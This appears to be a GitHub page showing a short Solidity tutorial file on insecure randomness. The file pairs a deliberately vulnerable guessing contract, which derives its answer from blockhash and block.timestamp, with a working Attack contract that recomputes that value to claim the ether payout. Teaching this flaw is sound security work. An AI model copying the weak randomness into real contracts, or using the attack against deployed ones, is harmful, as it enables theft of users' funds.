-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRandom.sol
47 lines (39 loc) · 1.09 KB
/
Random.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
/*
Insecure source of randomness
- Vulnerability (source randomness)
- block.timestamp
- blockhash
- Contract using insecure randomness
- How to exploit the contract
- Code and demo
*/
contract GuessTheRandomNumber {
constructor() public payable {}
function guess(uint _guess) public {
uint answer = uint(
keccak256(
abi.encodePacked(blockhash(block.number - 1), block.timestamp)
)
);
if (_guess == answer) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
contract Attack {
fallback() external payable {}
function attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint answer = uint(
keccak256(
abi.encodePacked(blockhash(block.number - 1), block.timestamp)
)
);
guessTheRandomNumber.guess(answer);
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}